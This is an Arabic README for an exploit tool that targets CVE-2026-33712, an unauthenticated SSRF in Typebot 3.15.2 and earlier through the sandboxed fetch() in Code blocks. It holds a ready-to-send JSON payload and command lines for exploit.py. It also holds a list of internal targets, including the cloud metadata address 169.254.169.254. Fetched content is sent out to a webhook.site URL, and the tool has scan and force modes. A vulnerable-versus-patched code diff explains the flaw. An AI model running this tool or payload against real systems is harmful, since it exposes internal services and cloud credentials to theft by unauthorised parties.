
CVE-2026-33712 - Typebot <= 3.15.2 SSRF غير مصادق عليه عبر isolated-vm sandbox fetch
Typebot <= 3.15.2 (تم الإصلاح في 3.16.0) يحتوي على ثغرة Server-Side Request Forgery (SSRF) غير مُصادق عليها في نقطة نهاية الدردشة التجريبية (preview chat endpoint).
نقطة النهاية: POST /api/v1/typebots/{typebotId}/preview/startChat
تقبل نقطة النهاية التجريبية تعريف typebot مقدَّم من المستخدم مع كتل Code تعمل على الخادم. دالة fetch() المُعرَّضة داخل بيئة isolated-vm المعزولة تستدعي دالة الجلب الأصلية في Node.js بدون التحقق من SSRF المسمّى validateHttpReqUrl() والذي يحمي كتلة HTTP Request العادية. هذا يتجاوز جميع وسائل الحماية من SSRF.
هذه الأداة مُقدَّمة لأغراض تعليمية وللاختبارات الأمنية المصرَّح بها فقط. الاستخدام غير المصرَّح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.
__ENV.js| الملف | الوصف |
|---|---|
exploit.py | السكربت الرئيسي للاستغلال |
endpoints.txt | عنوان URL واحد في كل سطر — أهداف SSRF للمسح |
requirements.txt | تبعيات Python |
pip install -r requirements.txt
# طلب SSRF واحد
python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid
# مسح جميع العناوين من endpoints.txt
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan
# الكشف التلقائي عن عنوان المشاهد من __ENV.js الخاصة بالباني
python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan
# تخطي الفحص المسبق وإجبار التنفيذ
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force
bot.example.com بدون http://، فسيتم إضافته تلقائيًا في البداية.vulnerable (ثغرة)، patched (يتطلب مصادقة)، أو endpoint_missing (عنوان/إصدار خاطئ). يخرج مبكرًا عند الفشل ما لم يتم تعيين --force.endpoints.txt، ويتنقل عبر كل عنوان، ويُسرّب المحتوى إلى الـ webhook.عنوان URL خام واحد في كل سطر. الأسطر الفارغة تُتجاهل. لا تعليقات، ولا فئات.
http://127.0.0.1:3000/__ENV.js
http://typebot-builder:3000/
http://169.254.169.254/latest/meta-data/
في packages/variables/src/executeFunction.ts، كانت دالة fetch() المُعرَّضة داخل بيئة isolated-vm المعزولة تستدعي دالة الجلب الأصلية في Node.js دون التحقق من SSRF:
// VULNERABLE (<=3.15.2):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const res = await fetch(input, init); // No validateHttpReqUrl!
return res.text();
}),
});
// PATCHED (>=3.16.0):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const request = new Request(input, init);
await validateHttpReqUrl(request.url); // SSRF check added
validateHttpReqHeaders(headers);
}),
});
الإصلاح (الالتزام d96f572) أعاد أيضًا ترتيب الفحوصات في getTypebot() بحيث يتم التحقق من المصادقة قبل اختصار الـ typebot المخصص، ونقل نقطة نهاية المعاينة الخاصة بالمشاهد من procedureWithOptionalUser إلى protectedProcedure.
{
"typebotId": "exploit-id",
"typebot": {
"version": "6",
"id": "exploit-bot",
"workspaceId": "test",
"updatedAt": "2026-01-01T00:00:00.000Z",
"groups": [
{
"id": "group-1", "title": "Start",
"graphCoordinates": {"x": 0, "y": 0},
"blocks": [
{"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
]
},
{
"id": "group-2", "title": "SSRF",
"graphCoordinates": {"x": 200, "y": 0},
"blocks": [
{
"id": "block-2", "type": "Code",
"outgoingEdgeId": "edge-2",
"options": {
"name": "SSRF",
"content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
"isExecutedOnClient": false,
"isUnsafe": true
}
}
]
}
],
"edges": [
{"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
],
"events": [
{"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
],
"variables": [
{"id": "var-1", "name": "result", "value": null}
],
"settings": {"general": {}},
"theme": {"general": {}, "chat": {}}
}
}
مهم: دالة fetch() داخل البيئة المعزولة تُرجع .text() بالفعل، لذا تكون النتيجة سلسلة نصية، وليست كائن Response.
| الوسيط | الوصف |
|---|
-t / --target | عنوان URL لمثيل Typebot (المشاهد أو الباني). المخطط الافتراضي هو http:// |
-u / --url | العنوان الداخلي الذي سيتم جلبه عبر SSRF (الوضع الفردي) |
-w / --webhook | عنوان Webhook لاستقبال البيانات المسرَّبة (أو متغير البيئة WEBHOOK_URL) |
--scan | مسح جميع العناوين من endpoints.txt |
--detect-viewer | استكشاف /__ENV.js على الهدف للعثور على NEXT_PUBLIC_VIEWER_URL واستخدامه |
--force | تخطي الفحوصات المسبقة وإجبار التنفيذ |
--timeout | مهلة الطلب (الافتراضي: 20 ثانية) |
--delay | التأخير بين طلبات المسح (الافتراضي: 0.3 ثانية) |